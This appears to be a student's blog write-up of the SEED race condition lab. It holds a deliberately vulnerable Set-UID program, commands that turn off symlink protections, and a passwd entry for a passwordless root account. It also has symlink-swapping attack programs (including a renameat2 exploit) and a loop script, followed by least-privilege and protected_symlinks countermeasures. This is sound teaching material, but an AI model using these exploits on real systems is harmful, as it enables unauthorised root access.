Race Condition Vulnerability Lab

Race_Condition_Vulnerability_Lab

1 概述

​ 本实验的学习目标是让学生通过将他们从课堂上学到的关于漏洞的知识付诸行动,获得关于竞争条件漏洞的第一手经验。当多个进程同时访问和操作相同的数据时,就会出现竞争条件,并且执行的结果取决于访问发生的特定顺序。 如果特权程序存在竞争条件漏洞,攻击者可以运行一个并行进程来与特权程序“竞争”,意图改变程序的行为。
​ 在这个实验室中,学生将获得一个具有竞争条件漏洞的程序; 他们的任务是开发一个利用漏洞并获得root权限的方案。 除了攻击之外,还将指导学生了解几种可用于对抗竞争条件攻击的保护方案。
​ 学生需要评估这些计划是否有效并解释原因。 本实验涵盖以下主题:

  • 竞争条件漏洞
  • 粘滞符号链接保护
  • 最小特权原则

实验环境

SEED Ubuntu 20.04

2 环境配置

2.1 关闭对策

Ubuntu 具有针对竞争条件攻击的内置保护。 该方案通过限制谁可以遵循符号链接来工作。 根据文档,“如果跟随者和目录所有者都与符号链接所有者不匹配,则全局可写的粘滞目录(例如 /tmp)中的符号链接无法被跟随 。”

Ubuntu 20.04 引入了另一种安全机制,可防止 root 写入 /tmp 中属于其他人的文件。 在本实验中,我们需要禁用这些保护。 您可以使用以下命令来实现:

$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
实验操作

image-20211211190522204

2.2 一个易受攻击的程序

下面的程序是一个看似无害的程序。 它包含一个竞争条件漏洞。

//vulp.c
#include <stdio.h>
#include<unistd.h>
int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer )
    if(!access(fn, W_OK)){ ① 
    fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);
    fwrite(buffer, sizeof(char), strlen(buffer), fp);
    fclose(fp);
    }
    else printf("No permission \n");
}
  • 上面的程序是一个root拥有的Set-UID程序; 它将用户输入的字符串附加到临时文件/tmp/XYZ的末尾。 由于代码以 root 权限运行,即其有效用户 ID 为0,因此它可以覆盖任何文件。
  • 为防止自己不小心覆盖别人的文件,程序首先检查真实用户ID是否具有/tmp/XYZ文件的访问权限;这就是第 ① 行中 access() 调用的目的。 如果真实用户 ID 确实具有权限,则程序在第 ② 行打开文件并将用户输入附加到文件中。
  • 乍一看该程序似乎没有任何问题。 但是这个程序存在竞争条件漏洞:由于检查(access)和使用(fopen)之间的时间窗口,存在access()使用的文件与fopen()使用的文件不同的可能性,即使它们具有相同的文件名/tmp/XYZ. 如果恶意攻击者可以在时间窗口内以某种方式使/tmp/XYZ成为指向受保护文件(例如 /etc/passwd)的符号链接,则攻击者可以将用户输入附加到 /etc/passwd,从而获得root权限。 易受攻击的程序以root权限运行,因此它可以覆盖任何文件。
设置 Set-UID 程序

我们首先编译上面的代码,把它的二进制文件变成一个由root拥有的Set-UID程序。 以下命令可实现此目标:

$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
实验操作

image-20211211191832955

3 任务1:选择我们的目标

​ 我们想利用程序中的竞争条件漏洞。 我们选择以普通用户不可写的密码文件/etc/passwd为目标。 通过利用该漏洞,我们希望在密码文件中添加一条记录,目的是创建一个具有 root 权限的新用户帐户。
在密码文件中,每个用户都有一个条目,该条目由七个以冒号 (😃 分隔的字段组成。 下面列出了 root 用户的条目。

root:x:0:0:root:/root:/bin/bash
  • 对于 root 用户,第三个字段(用户 ID 字段)的值为零。 即,当root用户登录时,其进程的用户ID设置为零,赋予该进程root权限。 基本上,root 帐户的权力不来自其名称,而是来自用户 ID 字段。 如果我们想创建一个具有 root 权限的帐户,我们只需要在这个字段中输入一个零。
  • 每个条目还包含一个密码字段,这是第二个字段。 在上面的示例中,该字段设置为“x”,表示密码存储在另一个名为/etc/shadow(影子文件)的文件中。
  • 如果我们按照这个例子,我们必须使用竞争条件漏洞来修改密码和影子文件,这不是很难做到。 但是,有一个更简单的解决方案。 我们可以简单地将密码放在那里,而不是将“x”放在密码文件中,这样操作系统就不会从影子文件中查找密码。
  • 密码字段不保存实际密码; 它保存密码的单向哈希值。
  • 要为给定的密码获取这样的值,我们可以使用adduser命令在我们自己的系统中添加一个新用户,然后从影子文件中获取我们密码的单向哈希值。 或者我们可以简单地从种子用户的条目中复制值,因为我们知道它的密码是 dees。 有趣的是,Ubuntu live CD 中有一个用于无密码帐户的魔法值,该魔法值是 U6aMy0wojraho(第 6 个字符为零,不是字母 O)。 如果我们将此值放在用户条目的密码字段中,我们只需要在提示输入密码时按回车键。

小任务

  • 为了验证魔法密码是否有效,我们手动(作为超级用户)将以下条目添加到/etc/passwd文件的末尾。 请查看是否可以无需输入密码登录测试帐户,且是否拥有root权限。

    test:U6aMy0wojraho:0:0:test:/root:/bin/bash
    
  • 完成此任务后,请从密码文件中删除此条目。 在接下来的任务中,我们需要以普通用户的身份来实现这个目标。 显然,我们不允许直接对密码文件执行此操作,但我们可以利用特权程序中的竞争条件来实现相同漏洞的目标。

警告

过去,一些学生在攻击过程中不小心清空了/etc/passwd文件(这可能是由操作系统内核内部的一些竞争条件问题引起的)。 如果您丢失了密码文件,您将无法再次登录。 为避免此问题,请复制原始密码文件或拍摄 VM 快照。 这样,您就可以轻松地从事故中恢复过来。

实验操作

image-20211211193423680

image-20211211193557954

4 任务2:发起竞争条件攻击

​ 此任务的目标是利用前面列出的易受攻击的 Set-UID 程序中的竞争条件漏洞。 最终目的是获得root权限。 攻击最关键的一步,使/tmp/XYZ指向密码文件,必须发生在检查和使用之间的窗口内; 即在易受攻击的程序中的accessfopen调用之间。

4.1 任务 2.A:模拟慢速机器

​ 让我们假设机器很慢,在 access()fopen()调用之间有 10 秒的时间窗口。 为了模拟这一点,我们在它们之间添加了一个 sleep(10)。 该程序将如下所示:

if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");
    ...
  • 有了这个添加,vulp 程序(重新编译时)将暂停并将控制权交给操作系统 10 秒钟。 你的工作是手动做一些事情使程序在 10 秒后恢复时,程序可以帮助你向系统添加一个 root 帐户。 请演示您将如何实现这一目标。

​ 您将无法修改文件名 /tmp/XYZ,因为它在程序中是硬编码的,但您可以使用符号链接来更改此名称的含义。 例如,您可以将/tmp/XYZ 设为指向/dev/null 文件的符号链接。 当您写入/tmp/XYZ 时,实际内容将写入 /dev/null。 请参见以下示例(“f”选项表示如果链接存在,则先删除旧链接):

$ ln -sf /dev/null /tmp/XYZ
$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Dec 25 22:20 /tmp/XYZ -> /dev/null
实验操作
  1. 更改vulp.c,重新编译,设为root所有的setuid程序。

    image-20211211194656855

    image-20211211194743280

  2. /tmp/XYZ设为指向/dev/null 文件(权限位为rw-rw-rw-)的符号链接。

    image-20211211202246049

  3. 运行vulp。用户输入为我们要写入/etc/passwd的字符串:test:U6aMy0wojraho:0:0:test:/root:/bin/bash,回车结束输入

    image-20211211202524702

  4. 在提供输入后的十秒内,执行命令ln -sf /etc/passwd /tmp/XYZ,使/tmp/XYZ指向密码文件。

    image-20211211202536770

  5. 打开/etc/passwd,可以看到多了一行我们的输入。

    image-20211211202721182

  6. 同样,切换用户至test,无需密码即可获得root权限。

    image-20211211202833736

4.2 任务 2.B:真正的攻击

​ 在之前的任务中,我们通过要求易受攻击的程序放慢速度来“欺骗”,这样我们就可以发起攻击。 这绝对不是真正的攻击。

​ 在这个任务中,我们将发起真正的攻击。 在做任务前,确保从 vulp 程序中删除了 sleep() 语句。

​ 竞争条件攻击的典型策略是与目标程序并行运行攻击程序,希望能够在那个时间窗口内完成关键步骤。 不幸的是,完美的时机很难实现,所以攻击的成功只是概率。 如果窗口很小,攻击成功的概率可能很低,但我们可以多次运行攻击。 我们只需要袭击到一次竞争条件窗口。

编写攻击程序

​ 在模拟攻击中,我们使用ln-s命令创建/更改符号链接。现在我们需要在一个程序中完成它。我们可以在C中使用symlink()来创建符号链接。由于Linux不允许在链接已经存在的情况下创建链接,因此我们需要先删除旧链接。下面的C代码片段显示了如何删除链接,然后使/tmp/XYZ指向/etc/passwd。请编写您的攻击程序。

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
实验操作

攻击程序attack_process.c如下:

//attack_process.c
#include <unistd.h>
 
int main()
{
    while(1){
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
        usleep(1000);
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}

运行易受攻击的程序并监视结果

​ 由于我们需要多次运行易受攻击的程序,因此我们将编写一个程序来自动化此过程。为了避免手动向易受攻击的程序vulp键入输入,我们可以使用输入重定向。也就是说,我们将输入保存在一个文件中,并要求vulp使用vulp<inputFile从该文件获取输入。我们也可以使用管道(稍后将给出一个示例)。
​ 我们的攻击可能需要一段时间才能成功修改密码文件,因此我们需要一种方法来自动检测攻击是否成功。有很多方法可以做到这一点;一种简单的方法是监视文件的时间戳。下面的shell脚本运行ls-l命令,该命令输出有关文件的多条信息,包括上次修改的时间。通过将命令的输出与之前生成的输出进行比较,我们可以判断文件是否已被修改。
​ 下面的shell脚本使用echo命令(通过管道)提供的输入,在循环中运行易受攻击的程序(vulp)。您需要决定实际输入的内容。如果攻击成功,即修改passwd,shell脚本将停止。你需要有点耐心。通常,你应该能够在5分钟内成功。

#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ] Ù Check if /etc/passwd is modified
do
    echo "your input" | ./vulp Ù Run the vulnerable program
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
实验操作
  1. 编译并运行attack_process.c

    image-20211211204402355

  2. 更改target_process.sh中的输入部分:

    image-20211211204607627

  3. 执行脚本target_process.sh,开始攻击:

    image-20211211204649657

     ### 验证成功
    

​ 当脚本终止时,通过以测试用户身份登录并验证root权限来测试利用漏洞的成功性。然后在启动程序的终端窗口中按Ctrl-C键终止攻击程序。

实验操作

image-20211211204814280

image-20211211204938452image-20211211204959569

提示

​ 如果10分钟后,您的攻击仍未成功,则可以停止攻击,并检查/tmp/XYZ文件的所有权。如果此文件的所有者成为root用户,请手动删除此文件,然后重试攻击,直到攻击成功。请在实验室报告中记录这一观察结果。在任务2.C中,我们将解释原因并提供一种改进的攻击方法。

4.3任务2.C:一种改进的攻击方法

​ 在任务 2.B 中,如果您已正确完成所有操作,但仍无法成功攻击,请检查 /tmp/XYZ 的所有权。 您会发现 /tmp/XYZ 的所有者已成为 root(通常应该是seed)。 如果发生这种情况,您的攻击将永远不会成功,因为您的攻击程序以seed的权限运行,无法再删除或unlink()它。 这是因为 /tmp 文件夹有一个“粘性”位,这意味着只有文件的所有者才能删除该文件,即使该文件夹是全局可写的。
​ 在任务 2.B 中,我们让您使用 root 的权限删除 /tmp/XYZ,然后再次尝试您的攻击。而不希望的情况随机发生,因此通过重复攻击(在 root 的“帮助”下),您最终将在任务 2.B 中取得成功。 显然,从 root 获取帮助并不是真正的攻击。 我们想摆脱它,并在没有 root 帮助的情况下做到这一点。
​ 这种不良情况的主要原因是我们的攻击程序有问题,竞争条件问题,正是我们试图在受害者程序中利用的问题。 (真讽刺!)
​ 攻击程序在删除 /tmp/XYZ(即 unlink())之后,而在将名称链接到另一个文件(即 symlink())之前立即切换上下文。删除现有符号链接并创建新符号链接的操作不是原子性的(它涉及两个单独的系统调用)。因此,如果上下文切换发生在中间(即在删除 /tmp/XYZ 之后),并且目标 Set-UID 程序有机会运行其 fopen(fn, "a+")语句,它将创建一个以 root 为所有者的新文件。 之后,您的攻击程序将无法再更改 /tmp/XYZ
​ 基本上,使用 unlink()symlink() 方法,我们的攻击程序中存在竞争条件。因此,当我们试图利用目标程序中的竞争条件时,目标程序可能会意外地“利用”我们攻击程序中的竞争条件,从而击败我们的攻击。
​ 为了解决这个问题,我们需要使 unlink()symlink() 原子化。 幸运的是,有一个系统调用可以让我们实现这一点。 更准确地说,它允许我们原子地交换两个符号链接。 下面的程序首先创建两个符号链接 /tmp/XYZ/tmp/ABC,然后使用 renameat2 系统调用来原子地切换它们。 这允许我们在不引入任何竞争条件的情况下更改 /tmp/XYZ 指向的内容。

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    return 0; 
}

任务:请使用此新策略修改您的攻击程序,然后再次尝试您的攻击。 如果一切都正确完成,您的攻击应该能够成功。

实验操作
  1. 更改attack_process.c如下,编译并运行attack_process.c

    image-20211211211310806

  2. 执行脚本target_process.sh,开始攻击:

    image-20211211211414604

  3. 攻击成功:

    image-20211211213612436

5 任务 3:关于对策

5.1 任务 3.A:应用最小权限原则

​ 本实验室易受攻击程序的根本问题是违反最小权限原则。 程序员确实明白运行程序的用户可能太强大了,所以他/她引入了 access() 来限制用户的权力。 然而,这不是正确的方法。 更好的方法是应用最小权限原则; 即,如果用户不需要某些权限,则需要禁用该权限。 我们可以使用 seteuid 系统调用暂时禁用 root 权限,然后在必要时启用它。
​ 请使用此方法修复程序中的漏洞,然后重复您的攻击。 你能成功吗? 请报告您的观察并提供解释。暂时关闭root权限

实验操作

  1. 更改vulp.c如下,重新编译,设置为root所有的setuid程序:

    image-20211211213724915

    image-20211211213859715

  2. 按照任务2.C的操作进行攻击:

    image-20211211214035163

    • 无法成功
  3. 原因:调用open()时没有root权限打开/tmp/X指向的受保护的文件passwd

5.2 任务 3.B:使用 Ubuntu 的内置方案

​ Ubuntu 10.10 和更高版本带有一个内置的保护方案,可以防止竞争条件攻击。 在此任务中,您需要使用以下命令重新打开保护:

// On Ubuntu 16.04 and 20.04, use the following command: 
$ sudo sysctl -w fs.protected_symlinks=1

​ 在保护开启后进行攻击。 请描述您的观察。 请同时解释以下内容: (1) 该保护方案是如何运作的? (2) 该方案的局限性是什么?

实验操作

  1. 打开保护:

    image-20211211214522375

  2. 使用任务2的vulp.c,重新攻击:

    image-20211211214611103

    image-20211211214644501

    image-20211211214706604

    - 攻击失败

  3. 原因:当设置粘滞位比特后,只有文件所有者、目录所有者或root用户才能重命名或删除粘滞目录中的文件。/tmp目录设置了粘滞位比特。当粘滞符号保护开启后,全局可写的粘滞目录(如tmp)中的符号链接的所有者,与跟随者和目录所有者的其中之一相匹配时才能被跟随。

    本次竞态条件攻击中,漏洞程序以root权限运行,即跟随者为root,/tmp目录的所有者也是root,但是符号链接所有者时攻击者本身(seed)。所以系统不允许程序使用该符号链接。

    局限性:仅适用于/tmp这样的粘滞目录。

  • 15
    点赞
  • 47
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yuhan_2001

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值